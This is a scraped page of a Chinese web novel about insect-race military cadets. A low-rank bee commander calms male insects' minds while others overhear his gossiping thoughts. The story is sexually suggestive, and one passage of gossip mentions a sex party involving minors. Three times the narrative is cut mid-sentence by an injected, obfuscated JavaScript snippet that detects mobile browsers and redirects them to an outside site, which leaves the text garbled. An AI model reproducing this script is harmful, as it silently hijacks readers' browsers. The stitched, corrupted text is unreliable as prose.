刚才艾尔法带队出去实训了,原因是梅指出:艾尔法在战斗时霸占了一位指挥师,以开挂的手段取得了比赛的第一名,导致梅得了第二名。 梅不信艾尔法会那么容易被征服,除非把那指挥师也给他试试。} “……” 诺蓝吞了一口唾沫,小心翼翼地提议:“那我、可以申请加入哪个队伍吗?” 梅轻轻笑了下,“当然可以,你的意愿也很重要,如果你心里有抗拒,那一定是无法胜任工作的。” 诺蓝松了口气:“那就好!” “听上去,你似乎对我们有顾虑?” 年轻俊美的梅注视着诺蓝的眼睛,说话的语气轻松风趣。 诺蓝赶紧甩锅:“没有没有,绝对没有,我很喜欢你的梅队长!” 梅脸上露出不太相信的笑容。 诺蓝心虚.jpg “诺蓝同学,我了解你的担忧,我能对你保证的是,蝴蝶们都很爱惜羽毛,我和我的翅膀都不会使你为难。” 梅华丽的金发披至肩后,随着他向前俯身的动作,轻飘飘地滑落在诺蓝的手臂间:“所以说,选择最适合你的就好,在我们蝶族,并不存在粗鲁对待的方式。 翅膀是我们的骄傲,指挥师也是,这一点,希望你悉知。” 实战系的二年级同学们站在原地,嘴巴里能塞鸡蛋了。 这还是我们雷厉风行的梅队长吗!! 【梅队长好温柔,不愧是千万年来招虫喜欢的蝶族。】 不,学弟,那是假象! 其他二年级学长们试图阻止小可爱这么想,但是梅轻飘飘一个眼神飞过去,大家都噤若寒蝉。 队长铁树开花,上来就瞄准个大的。 …… 察尔森元帅从模拟丛林出来之后被军部的其他元帅们阴阳怪气了好一阵子,就因为那道从天而降的心声,把他老底都揭光了! 他心里憋着一股气,按照惯例巡视到了服从性训练场,第一眼就看见了那小不点。 诺蓝? 就会嗡嗡叫的小蜜蜂。 察尔森从鼻子里挤出一声哼。 大摇大摆地走进训练场,路过诺蓝时,撞了他肩膀一下。 诺蓝晃晃悠悠地站稳,假装没看见这威武强壮的中年雄虫。 看天,看地,就是不看他。 【啊啊啊啊啊他怎么来了?完蛋了我要死了!察尔森不会为了他儿子的雌奴跑了向我复仇吧?】 察尔森笑了下,有些得意。 一只F级小雌虫,自以为得到了虫神的眷顾就嘚瑟上了。 殊不知,F级什么都不是,在帝国,一脚就能踩死一大片。 【要不我把这事写成论文发布到星网上吧!点击就看#霸道元帅vs腹黑雄子vs俏雌奴,高清无/码原视频,无偿赠送!】 察尔森勃然大怒! tui! 这不知道天高地厚的小蜜蜂,口出狂言!有两分文采,就是用得不是地方! 弄跑了他的家养雌奴不说,还害他在军部老同事面前丢尽了脸面,居然还给他写同虫文了? “上将。” 察尔森喊道。 正在带队训练中的上将猛然被打断,恍然回神,转身走过来,“……元帅,怎么了?” “鳞翅目突袭队里不是有只叫贝利尔的虫吗?把他叫来,让指挥系一年级新生诺蓝给他做精神力疏导。” “……?”上将不太理解。 察尔森疯了。 否则怎么会让那么小一个虫崽去梳理“怪物”贝利尔的脑域? 贝利尔是蝶族唯一的变异体。 上将比较委婉:“元帅,诺蓝等级太低,可能在净化的过程中,就被贝利尔吞噬了,您知道,一旦净化开始,雄虫会拼尽一切挤压雌虫的脑域,只有占不到便宜的时候,才会乖乖屈服。” 上将心里是向着诺蓝说话的,毕竟,低到F级精神力的雌虫本来就少,指挥系的同学更是难遇。 这两个buff一叠加,诺蓝简直是珍稀物种,就和虫母一样珍贵。 但是察尔森今天一定要诺蓝当众出丑,态度强硬。 上将也没办法,毕竟他还得在军部工作不是?低头不见抬头见的,没办法。 然而一回头,贝利尔已经自觉地戴好项圈,围在诺蓝的头发旁边,细细地闻来闻去了。 诺蓝环抱自己,弱小、无助、又可怜。 众虫:…… 这孩子怎么跟饿了几辈子没吃肉的野虫一样? “那就开始吧。” 诺蓝被察尔森提溜着领子,丢到了观察室里。 大门被锁上,小蜜蜂撞门、触爪挠门、咸鱼摆尾,都出不去。 【这是干嘛啊呜呜呜……】 被一同扔进来的还有贝利尔。 诺蓝蒙住脑袋,硬着头皮告诉自己要坚强,待会儿摸排一下他的脑域情况,今天不能做的话,就是不能做,就算被关起来,都没门儿! 算了…… 诺蓝一步一步磨蹭到贝利尔面前,硬着头皮解开贝利尔的制服拉链,指骨抵住雄蝶的下颌,让他抬起头来,方便探寻他的精神力状况。 被触碰到的地方,很快出现一层绚烂的蓝紫色斑斓磷闪。 那是贝利尔的虫纹。 诺蓝条件反射地一缩手,“……贝利尔,你别这么大反应,现在放松一点,让我试试能不能进去,我是在帮助你,乖一点呀。” “……” 贝利尔在暴走边缘,两条蝶突尾羽长长地拖下来,在地面扫来扫去。 诺蓝没看到那两条细长的“尾巴”,全神贯注地看着他的颈环。 【……他项圈应该不会坏吧?】 贝利尔垂眸看了小蜜蜂一眼。 “不会,来摸我。” 贝利尔握住他的手,放在自己颈环上。 他这么温顺,诺蓝有点出乎意料,不过确实没那么紧张了,轻声说:“乖啊,好虫虫,让我摸摸你的头好不好?我要先了解你的脑域阀值,确定我用什么力度你才不会感到疼痛。” 诺蓝大着胆子,想说些软话,跟他先亲近一下。 贝利尔轻喘着,把脑袋轻轻靠在诺蓝的膝盖上。 “……嗯。” 他的下巴抵住诺蓝的膝盖,红眸忽明忽暗,喉结轻轻滚动,划过诺蓝的裤子。 贝利尔抬眸看着他,眸子湿润而清澈明亮,示意他可以继续。 诺蓝这才开始尝试着掌控他的脑域。 手指碰到他白色头发的时候,贝利尔发出呼噜声,尾巴克制地摇摆起来。 蝶族的翅突也诠释了“优雅”二字的含量,过于纤细的翅端像是丝绸,轻柔地缠住诺蓝的手腕。 诺蓝也闭上眼睛,呼吸变得困难而紧促…… 贝利尔的脑域太荒芜了,一望无际的原野间一地枯萎的杂草,虫母的力量介入,雄虫渴望到浑身颤抖。 诺蓝没想到,贝利尔会握住他的腰,将他整个蜂抱起来,搁在岛台上坐着,仰头一言不发地看着他:“再来一点…来一点…” 贝利尔的喉结不停吞咽,大手在他腰侧抓握,一双猩红眼睛微微眯起,舔了舔诺蓝的下巴。 他忍不住了,呼吸粗重起来,手劲也不断增大。 诺蓝躲都躲不开,下巴被他热情地舔舐着,时不时咬一下,似乎是怕他疼了,又讨好地舔一遍。 诺蓝觉得很痒,但精神力疏导一旦开始就绝无可能结束。 诺蓝感觉很绝望:“……” 只能任这家伙舔了。 蝴蝶们通常谦逊有礼,优雅大方,很难想象,这群平日里潇洒自如的贵公子们也会有凶残暴虐的一面,面对敌人和猎物时,露出来那种叫虫害怕的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805770|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情…… 诺蓝感到脊背漫上一层黏腻的汗液。 贝利尔在他的掌控下精神力很是温顺,但他似乎很难控制自己的荷尔蒙…… 冰凉舌钉一点点变湿润滚烫的时刻,诺蓝终于达到了极限。 “够、够了,贝利尔,今天就到这里,你的精神力已经很平稳了……” 诺蓝用力推开贝利尔的肩膀,手掌下的肌肉浑厚有力,但是轻轻一推就摆脱了桎梏。 诺蓝握住他的肩膀,脸颊绯红,别过脸。 【混、混蛋啊,还好今天不会做到最后,虫神保佑我,三天内不要给雄虫做了……】 …… 门外的虫族完全想不到里面会发生什么,从诺蓝的心声来判断,贝利尔这个从来没得到过正儿八经精神力疏导的“怪物”已经爽到了,并且把弱小的雌虫压榨到一滴都不剩了。 贝利尔是蝶族实验室培育出来的产物,不怕疼痛,钝感力十足,堪称战斗机器,永远不知疲倦。 一直没有能给他疏导的虫族,谁给他疏导谁死。 但是诺蓝征服了他。 湿漉漉的诺蓝被贝利尔抱着出来,放到迦许和梅的身边。 然后贝利尔很有礼节地退下,不打扰他们。 在蝶族,忠诚亦是第一守则,哪怕是再喜欢,也要按顺序享用蜂蜜。 迦许和梅架住了腿软的诺蓝。 诺蓝:好丢脸,搞得我像是很虚! “贝利尔通过了服从性训练,明天开始可以不用来了,”察尔森高傲地笑着说:“但是诺蓝,用时太长,成绩不合格——” 众虫怨怼地看着察尔森。 诺蓝不就说你几句实话吗?至于这么计较?小心眼! 但如果察尔森真想伤害诺蓝,门都没有,还没等他出手,其他虫族就直接把他拿下了! 【不合格?我太合格了!至少我没私吞本年度军饷给自己家买大星舰,一买买十艘,三艘给大雌君,三艘给二雌君,三艘给三雌君,最后一艘拿去应付帝国灾区抢救工作,还骗王虫说钱都拿去救济灾虫了,臭不要脸!】 上将脸色一变,挥手示意:把察尔森给我拿下! 没虫怀疑诺蓝说话的真伪,谁先把这事禀报给王虫,谁就立了大战功! 元帅宝座该换虫了! 察尔森还没反应过来就被扣住。 但是他根本无从辩解,因为诺蓝说的居然都是该死的事实! 这要是被王虫知道了诺蓝的存在,一经验证,那他还有活路吗? 众虫怕他一张嘴惊动诺蓝,如果被诺蓝知道他的心声可以共享,那以后就再也没八卦可以吃了! “…………” 诺蓝一脸懵逼地看着察尔森被捂嘴带走。 …… 传来察尔森被罢免的消息是第三天,王虫大怒,找到了察尔森贪污事实暴露的真正缘由。 上将把诺蓝的心声一事告诉了王虫,即刻升职为元帅。 王虫没急着见诺蓝,不打草惊蛇的话,也许诺蓝能说出更多真实的消息来,就凭这次失败的抢险任务,虫族四个大家族各自出动不少子嗣参与救援,力求一枚军功章,导致军部工作效率提高,伤民数量减少,食物和资源不断供。 大家都想见见这颗名叫诺蓝的珍珠。 …… 也就才过了几天校园生活,诺蓝就得到了消息:信息素匹配测试开始了。 时间来不及了,诺蓝拿着表格,叼着营养液吸管,火急火燎从宿舍出来之后坐电梯下楼。 路过三楼的时候,电梯被按停了。 诺蓝顶着一脑袋乱毛慌慌张张抬头,看见是厄斐尼洛扒开电梯门,挤了进来,一进来就把诺蓝挤到了电梯角。 “小漂亮,又见面了,这么巧,原来我们住上下楼。” 诺蓝警惕地看着这只银蓝发的螳螂……的胸。 毕竟他只能看见对方的胸。 用胸挤虫……诺蓝有点呼吸不上来,抬手一推,却被厄斐尼洛抓住手腕咬了一口,诺蓝下意识抽手,反手给了他一巴掌,清脆的一声响,雄性螳螂眸子骤然深暗。 诺蓝也没想到自己会扇他耳光! “好痛。”雄虫用舌尖顶了顶腮帮,舔了下嘴角,黄金瞳紧缩,露出一个挑衅的微笑。 盯着角落里惊慌失措的可怜蜜蜂,厄斐尼洛单膝跪地,雄螳螂用触尖擦了下他眼角溢出的生理性泪水。 “不是在打我吗?你哭什么?” 他嗓音低沉而富有磁性,不失蛊惑的意味:“小漂亮,再用力一点啊。” 8. 第 8 章 诺蓝的目光不自觉地落到他胸前。 【拿什么喂?该不会是——咳咳雄父这里有变态!!】 诺蓝警惕地打量着厄斐尼洛,探头去电梯外看了看,确实是工程系的宿舍,没走错,太可惜了,否则就能通知宿舍楼管理员把这家伙抓起来了…… 工程系和他们指挥系住在一栋宿舍楼,因为学生数量少,指挥系又大多数是雌虫,所以,1-3楼都是工程系的地盘,雄虫们一层一层堆积,像基石一样保护珍贵的指挥系独苗苗们,军校偶发大雨或者暴雪的时候,大门封死,白天上课的时候,他们都跑到天台,再飞去教学楼。 在这里遇到厄斐尼洛并不奇怪,然而诺蓝的视线一扫而过的千分之一秒,意外瞥见了一些不该看见的画面—— 没穿衣服的雄虫们在走廊里溜尾钩,甩着膀子打假,尤其是蜘蛛族和长腿多足科的虫族,场面那叫一个惊悚,抬头一看,天花板上还趴着一个。 ………… 千万不要问他各种族的尾钩有什么区别,他又没见过,要去就去尾钩博物馆看,那里尾钩大小长短粗细都有,应有尽有,还能外借…… 【……辣眼睛,我没看见,我什么都没看见……】 众工程系虫族:? 啊我靠!是被指挥系的那位新同学看见了吗?啊啊啊啊啊太社死了! 没虫说会有雌虫来三楼啊!还是那个诺蓝啊!刹那间,所有雄虫如鸟兽散,红着脸捂着裆,撒腿就跑! 完全不想被看见窘迫一面好吗!每个雄虫都想给这位小蜜蜂指挥师留下好印象,毕竟他那么特别,大家私下里都在讨论他,校园网上已经有虫替他建帖子发日常了! 雄虫们最近都有在注意穿搭,上课的时候除了制服,还会佩戴徽章、墨镜、饰品,把自己打扮的靓丽,不仅如此,蝶族实验室的报名名额也爆满,很多雌虫把自己改造成蜜蜂喜欢的生理特征——虫翅加宽,美瞳、黄头发、花蜜香水…… 所以,怎么可能让尊贵的指挥师阁下看见如此狼狈的一面! 诺蓝无辜地眨了眨眼。 【地震了??】 【怎么大家都在跑?我靠,那电梯不会掉下去吧??】 然后他眼睁睁看着一位雄性萤火虫捂着发光的尾钩裸/奔过去…… 咳。 诺蓝掩了下鼻子。 【那个……工程系真够开放的,大白天就公然甩尾钩打闹,我可从来没见过此等现象,是我老了吗?】 工程系众虫泪流满面:我们不是,我们没有,我们矜持的很,阁下,求您遗忘! “有什么好看的,没有一个大的。” 雄性螳螂面无表情地关上电梯门,朝诺蓝挑起眉毛笑了下:“这群虫崽子平时很少出任务,脑子都被书堵死了,就知道拥护指挥师,连玩心机都玩不过实战系那几个劣雄,怎么能获得小蜜蜂的青睐?” 诺蓝总感觉他在含沙射影,暗骂艾尔法和卢卡斯。 厄斐尼洛惑然的眼神在诺蓝脸前巡瞍,舌尖舔了下尖牙,放低了音调,貌似十分不解:“小漂亮,今天你身上没有雄虫的气味了,闻上去像一块新鲜的蜂巢蜜,而且……你是刚睡醒吗?” 确实是刚睡醒的诺蓝:“……关你什么事?” “有一股……”厄斐尼洛琢磨着措辞,最后不怀好意地勾唇笑着说:“淡淡的玫瑰花蜜味,任何一只雌虫身上都没有,你很特别,小漂亮。” 诺蓝:! 虫母可能由任意一个种族诞生,诺蓝是蜜蜂族诞生的虫母,早起的时候,周遭是会有甜蜜气息的,就好像蝶族诞生的虫母早起时,身畔有花香。 但是每个时代只有一位虫母。 迄今为止,没有虫族闻到过蜜蜂虫母的气味。 诺蓝生下来就是虫母,早就习惯了自己起床时候的味道,但是他忽略了其他虫族是不存在这股香甜气味的。 “……” 诺蓝板着脸推拒厄斐尼洛,手指第一节都陷进了雄虫的腹部第三节肌,然而换来的是雄虫的上前一步。 厄斐尼洛收敛起笑容,眸中的锋利一闪而过。 他抬起双臂搂住诺蓝的腰肢,埋进小蜜蜂头发里,插在他触角之间,狠狠吸了一口。 诺蓝:!!! 【啊我的头发脏了!他有病吧!他要是不捉弄我会死吗?讨厌的螳螂!】 诺蓝薅住厄斐尼洛的头发,让他的脸停留在距离自己半臂之外:“你别大早上就发疯!” 厄斐尼洛那双黄金般的眼瞳似笑非笑地盯着他,似乎并不觉得疼痛,反而因为诺蓝扯他头发的动作而感受到一丝别样的亲昵,狭长的眼尾已经渗出生理性泪水了,仍然握住诺蓝的腰。 “小蜜蜂……”厄斐尼洛又用力吸了一口气,低低喘着,咬紧牙关笑着说:“说正事吧,我听说你今天要去做信息素匹配,真不敢想象,如果你确定好了匹配对象,实战系那些粗鲁的虫子们会怎样使用你,没有虫教会他们要礼貌,我今天来是想问你,你真的不考虑考虑我们工程系吗?” 原来是因为这个? 诺蓝一下子松了手,眨了眨眼睛:“……对不起啊,我不知道你是为了这个,具体结果也不由我决定,我会尽力多帮助同学们。” “嗯,”雄虫的第一根手指勾着他的发丝,有些心猿意马。 【厄斐尼洛有没有瓜……还真有!】 厄斐尼洛:? 刚才还在捂着脸哭泣说自己不想活了的雄虫们马上停止哭泣! 抱起被子,躲在卧室里,等着吃瓜! 【厄斐尼洛已经很久没有离开过本校了,每一次度假申请表格他都放弃填写,寒暑假也不回家,一直到校庆日那天,他接到了一封信,但是被他亲手烧毁了,然后校长室的通讯仪就响了一整天,校长为了不接通讯,直接躲去了外星球!】 【他和家虫有仇的样子诶……】 是的! 工程系的虫族们都颇有体会。 【厄斐尼洛的傲气有目共睹,从读军校开始,他就决心把工程系带上正轨,起初没虫看好工程系,偏偏他又最争气,现在,帝国军事学院工程系已经成了全星系最伟大的工程学科。】 【而厄斐尼洛,极少有虫知道他王虫家二皇子的身份。】 虫们:卧槽? 还得是诺蓝小可爱,什么都瞒不过他的眼睛! 所以说,二殿下第一次伏低做小,就是为了这位孱弱的F级指挥师,也不足为奇了。 偏偏这位指挥师什么都敢做,还敢公然扇他们二皇子厄斐尼洛的脸。 他们养尊处优的二皇子怎么做的? 哈哈! 二皇子低声下气地去求人家再扇一嘴巴!还被拒绝了! 但是大家吃瓜吃到一半,简直是上蹿下跳,最可恨讲瓜讲到一半就停了! 然后呢然后呢?二皇子为何午夜奋战图书馆和工作间?王虫到底做了什么得罪了他? 好在小蜜蜂只是在翻阅瓜书。 【据说是厄斐尼洛的雄父给他添了30个弟弟,等他这个不称职的二哥回去带孩子,他特别讨厌虫崽,哇,他雄父是谁,这么能生,老螳螂当益壮啊?我翻翻看,怎么是马赛克?——】 【是王虫???】 “诺蓝,看着我。” 厄斐尼洛突然出声,打断了诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805771|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝的思路。 其他虫也被打断了吃瓜,顿时茶饭不思,只想吃瓜,但是……二皇子殿下可能会一怒之下吃了他们。 “……啊?” 诺蓝还有点没反应过来,转瞬就被厄斐尼洛托着屁股抱起来,后背抵在电梯间里。 顿时诺蓝什么都思考不了了:“你你你…你别闹啊,这是电梯,搞不好我们容易掉下去的!” 诺蓝隐隐约约听见了三楼传来的大笑声和讨论声,厄斐尼洛的脸色瞬间变得很精彩。 雄虫难得沉默,眸子竖起,口器显现! 诺蓝害怕地闭上双眼。 厄斐尼洛的呼吸喷在他脖子上,诺蓝被他攥住双手抵在胸前,好不容易挣脱束缚,抬手就是一耳光。 然而清脆声响伴随一声低沉的笑音响起,紧接着诺蓝的脖颈一阵酥麻。 …… 螳螂的口器顶端带着细小的吸盘,攻击猎物的时候,其实不会造成太大的伤口,他们的意图是将猎物一点点吸干鲜血。 而对于厄斐尼洛来说,他并不会将诺蓝当场螳螂果腹的食物。 口器轻轻吮吸着小虫母的脖子,留下了一小圈绯红的印记,红涨的脸,硬生生扛下了诺蓝的第三个巴掌。 “爽吗?”雄性螳螂含着滚烫的笑意,灼热的妒火从齿缝间溢出:“他们连爽都不能让你爽到,学不会先满足他虫的雄虫,不配得到满足。” 诺蓝急喘着粗气,终于腾出手,迅速按了1层。 倒计时10秒钟。 然而这10秒也过得无比漫长,在十分之一秒的刹那间,厄斐尼洛俯身,在诺蓝耳侧说:“玫瑰蜂蜜的气味能让我接下来的一周都无比亢奋,你身上到底有什么秘密?” “就算是你对我的补偿,好吗?” 见诺蓝不说话,他低低笑着,将诺蓝放下,低沉的声音无比柔和:“谢谢款待,漂亮的小蜜蜂,我会再来讨要的。” # … 来不及了! 诺蓝双腿生风往匹配中心跑,然后想起来,为什么不飞呢? 他是蜜蜂啊!! 这就好像是虫族忘了自己是虫族,人形太久了,就以为双腿才是本体。 心念一动,肩胛骨外侧的骨缝裂开,一道玫瑰色的蜂翅打着卷儿坠下来,随着他的运动,还很湿润的蜂翅在风里迅速强壮起来,骨骼充血,迅速扩大。 风吹散了虫母濒临第一个发育周期的气味,诺蓝奋力飞起来。 匹配中心里到处都是虫,在诺蓝腿软差点跌倒的时候,一位白发蓝眼的虫族连忙扶住了他。 “小心点,同学。” 对方稍显严肃的用词透露着一丝羞涩,看清诺蓝的脸之后,对方的表情明显亮了起来,像只大狗狗一样摇了摇触角,“是诺蓝吗?太好了,我们队长让我在这里等你,我是特战队的副队长路修——你身上的味道好好闻啊!” 路修好奇地嗅闻诺蓝的衣领,诺蓝紧紧捂住衣领! 【呜呜呜,不要啊!会被看到的……】 “看到什么?” 一道冷峻的声音传来,但是柔和又没有攻击性。 特战队队长艾尔法从远处走来,朝路修做了个停止的手势。 路修立刻站直,但是把诺蓝藏在身后,用蝉翼结结实实护住。 诺蓝:……救、救、不能呼吸了……唔…… 艾尔法还算沉稳地说:“路修,他不是你的玩伴,他是今天参与匹配的指挥师……你刚才在闻什么?” “啊?我忘了,队长!”路修的触角弹了弹,桃花眼一弯,清朗的声线又活泼起来,“我得再闻闻才能知道哦。” 9. 第 9 章 诺蓝脸憋通红,在蝉翼里垂死挣扎… 路修的蝉翼轻柔地将诺蓝托起来,让他能依靠着自己,满是歉意地说:“对不起,我是不是太用力了?” 诺蓝头晕目眩地趴在他背上,大口大口喘着气,感叹不愧是贵族军事学院的雄虫学生,哪怕对待他一只F级的“雌虫”也如此细心。 “我没事…” 不过这并不能成为对方闻他的借口! 诺蓝听说,这是冰丝蝉的祖传技能——闻。 鼻子堪比警用嗅探器,能在黑暗、真空、等极端恶劣条件下准确辨别出敌方的气味,辨别位置。 路修拨开诺蓝的湿淋淋的刘海,探了下他的额头温度,舔掉他额角的汗,满眼担忧,语气小心翼翼的:“小可爱,是我没经验,太用力了,这次我会注意轻一点的。” “还能再让我闻闻吗?我觉得你身上的气味有一点不对,说不出来,只能闻。” 他那个表情太谨小慎微了,眼神湿漉漉的,紧紧不放地盯着诺蓝,轻薄的蝉翼轻微抖动着,模仿着野生雄性蝉族振翅的频率。 看他胸前的军衔就知道,特战队的正营职队员,职位等同于少校。 他胸前特战队的徽章熠熠生辉,却比不上他的眼睛那样亮晶晶,闪烁着渴望的光芒。 诺蓝被这个眼神看得快融化了,一时心软,松了口,“好像也不是不行……” 路修的尖耳朵猛的站起来,紧接着,诺蓝被他搂着腰挪到面前,和他面对面。 年轻的雄虫少校双眼发散,一颗瞳仁化作无数棱面的复眼,像蓝宝石的无数个切面。 “…………” 蝉族鼻侧的嗅闻器抵着诺蓝的脖颈呼哧呼哧地不断嗅闻。 空气中弥漫着他身上迸发的独特信息素味,像是冷泉裂开一条缝,清冽的寒意袭来,却在半途,融化在高等种雄虫的呼吸里。 他的呼吸太烫,又太急促,尽管身边路过不少虫族同学,他却视若无物,一心一意搂着诺蓝。 特战队的其他队员陆陆续续到达了分配中心,看到这一幕,居然没有任何反应,而是沉默迅速地围拢在艾尔法身后,望着副队长路修的方向。 特战队经常要执行各种高难度任务,因此大多是蝉族,他们天生对疼痛不敏感,经过了漫长的孵化过程,从幼年期起就一直保持着稳定的健康状态,度过成年期之后,便是虫族坚不可摧的特种作战队伍。 同时,他们的精神力也较高,不太容易崩塌。除了像艾尔法这样的,年纪轻轻就在分化期蜕变成了SS级的精神力,基本上除了虫母等级的雌性虫族,没有虫能救助他,他只能等待死亡。 蝉族们对副队长和诺蓝亲近没有任何意见,特战队会保护每一只雌虫。 【好痒…啊!…不要碰那里…呜呜呜…真的很敏感,你快点啊……】 诺蓝没忍住,脸红了。 可是,谁被搂着腰按在怀里闻脖子都会觉得痒的…… 尤其是感觉整栋楼的氛围都安静下来了似乎天空中都飘满了粉红色的泡泡,戳开后充满了雄虫的费洛蒙气息。 【要到春天了吗路修……】 路蓝绝望地晃晃触须,怀里抱着路修的脑袋。 【冰丝蝉怎么会在冬天发情呢……不可能的,什么时候才会结束…路修,你好持久啊…】 还是得吃吃瓜分散一下注意力,否则他会被动进入发情期的… 到时候整个虫族都会震荡,他的学还要不要上了哇? 系统,瓜来! 【唔…路修是冰丝蝉族监察官的独子,也是族里唯一一个没有娶雌君的雄虫,每天被家中长辈花式催婚催育,因为实在扛不住了所以选择上军校逃避结婚生崽,但其实路修的雌父雄父在积极筹备要二卵,路修昨晚气哭了一夜,哈哈哈哈,然后把门钉上了,但是早上雌父喊他吃饭的时候他还是老老实实出门了,含泪吃了两大碗……哈哈哈!】 路修羞恼了一下,也就是羞恼了一下。 而且脸上没有表现出来。 但是尾巴…… 诺蓝一低头就看到了对方的尾巴,从脊椎骨的最后一节垂下来,一截一截黑褐色的三角锥型异种骨骼,每一截都灵活地摆动,没有毛发,本来是很霸气狰狞的虫兽状尾骨,此刻却拘谨地夹在两腿中间。 【噫?路修在害怕?】 【看起来好大啊,我能撸一下吗?】 卧槽!什么虎狼之词?撸什么?这种话也是可以说的吗? 等等,撸哪里?网址在哪里?打赏通道在哪里?把我们当外虫是吧? 全楼的虫族都惊呆了,屏住了呼吸。 路修的呼吸陡然沉重加速,尾巴轻轻抬起,卷住了诺蓝的手腕,这么霸气外露的黑骨棘尾做出这么温柔缱绻的动作,实在是有点…… 可爱啦。 诺蓝伸出犯罪的小手,好心地摸了摸路修的尾巴根,试图安抚他的情绪,“乖,我帮你梳理一下脑域吧,虽然分配结果还没出来,我不一定会分配到特战队,但这次治疗是免费的。” 托艾尔法的福,诺蓝对蝉族的印象还是很好的。 蝉族本来就是擅长于蛰伏作战的种族,尾巴经常会暴露他们的情绪。 所以,路修在羞怯,这对雄虫来说根本就是很难隐藏。 生性隐忍的蝉族们,有一点风吹草动,都会发挥种族坚韧的特性,绝对不逃跑。 这就是蝉族能成为帝国四个大家族之一的缘故。 路修挺着身子任由诺蓝撸。 “……” 路修发出咕哝的喑哑声音,也不知道是生气了还是害羞,身体抵住诺蓝,像是胶水洒在了诺蓝身上粘住了动弹不得。 啊,怎么办,好黏虫哦。 诺蓝无奈地摸了摸他的头发,路修用脑袋顶他的手掌心,诺蓝被他顶的差点儿坐在地上,赶紧梳理他的脑域。 梳理蝉族的脑域很轻松,而其他虫族看到诺蓝在帮助路修少校,都开始调度自己的脑域,感受温和的力量席卷过脑域。 虽然是F级的小蜜蜂,但少年的治愈能力实在是太突出了,超过了其他能力,是指挥系不可缺少的重要力量。 诺蓝这次梳理的时间较短,因为路修的脑域并不像艾尔法那样错综复杂。 他的大脑比较简单。 “……小可爱,你辛苦了。”路修满怀歉意地退后一步,但还是忍不住围着诺蓝打转,满脸好奇的样子,出现在他清俊爽朗的脸上,满是太阳一般耀眼的明亮。 “你真好闻,”路修抖了抖耳朵,小声嘟嘟囔囔,“你真的是F级吗?你的血液纯度很高的样子,不该是F级啊,我闻上去可不止10%的信息素浓度啊……会不会是你的身体有某些保护机制?” 诺蓝哽住。 不会被他猜到吧?虽然说暴露虫母身份不是致死的事,但他还是想当一只普普通通的F级雌虫,在军校混日子……啊不是,努力学习! 不要要求一条咸鱼有什么梦想,只要谋取一份薪资合理的工作,造福虫族就可以了,虽说他的终极目标是躺平…… “不过,那也没什么关系。” 路修揉了揉诺蓝的后颈,俯身,轻柔地在他后颈落下一个亲吻。 诺蓝缩了下脖子,路修垂下眼睫,专注地把他的衣领还有乱糟糟的头发整理好。 如水的蝉翼,将他环抱。 “就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805772|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算有检测报告证明你的等级很低,我也仍然坚信科学会出现失误。 虫族会出现奇迹,生命会眷顾我们,万一你就是虫母基因的隐形携带者呢?到时候我是不是该称呼你为……” 诺蓝被他望着眼睛,只能看见那双湛蓝的冰眸中浮现的层层涟漪,灿烂而热烈,却也无限柔情: “虫母基因会在恶劣的生存环境下选择隐藏,拒绝生下一代小虫崽,这是虫母生物学中的被动反应,我在虫母科普课程里学过的,其实不止是我,所有虫族都学过这一门课啦。 “如果真的是这样…”路修的嗓音骤然变得无比沙哑:“…那么我们需要更努力一些才行了。” # 测试完之后出来,诺蓝忐忑不安地等待着结果。 一阵不大不小的噪音从门口那里传来,好像是两只虫族在那里大声吵架。 虫族们立刻想要去凑热闹,没别的事,就是喜欢看虫打架! 谁让咱们生性好斗?军部和军校这种地方的虫族,脑子里都是战争,没有风花雪月,没有雌雄虐恋,更没有文娱狗血,干就完了! 虫族们撸胳膊挽袖子准备跑出去看热闹。 【吵架了?太挤了,容我看看怎么回事。】 所有虫族立刻停下向门口/爆冲的步伐! 心安了,排排坐,吃瓜瓜。 就说这世界不能没有诺蓝! 离了他,谁还把两米多高的虫族当小孩呜呜呜? 【瓜来!】 【是教导主任和雄虫学生,学生长期被虐待,为了报复雄父,找了一群未成年虫族在家里开银趴,雄父一回家,发现一地虫族赤/身/裸/体睡在家里的客厅,直接心脏病突发进医院了!】 【不得不说,这小雄子太生猛了,他雌父还是帝国法务处的处长,就这,他雌父还想推动未成年雌虫保护立法?做梦吧!】 我去! 其他虫族大开眼界! 大伙儿开始小声议论起来,就算是低等种的雌虫是食物链最底端,但是一个雄虫vs这么多雌虫,他的腰还好吗?肾还在吗? 这瓜也太生猛了!不仅仅军部动荡,还牵扯到帝国法务处,那肯定要惊动王虫陛下了,玩成年雌虫是你情我愿,玩未成年就是违法犯罪! 【哇哇哇,教导主任把雄虫按在了体育器材室,找他要说法,但是雄虫把一卷星元钞票打成捆,塞进了教导主任的那地方……】 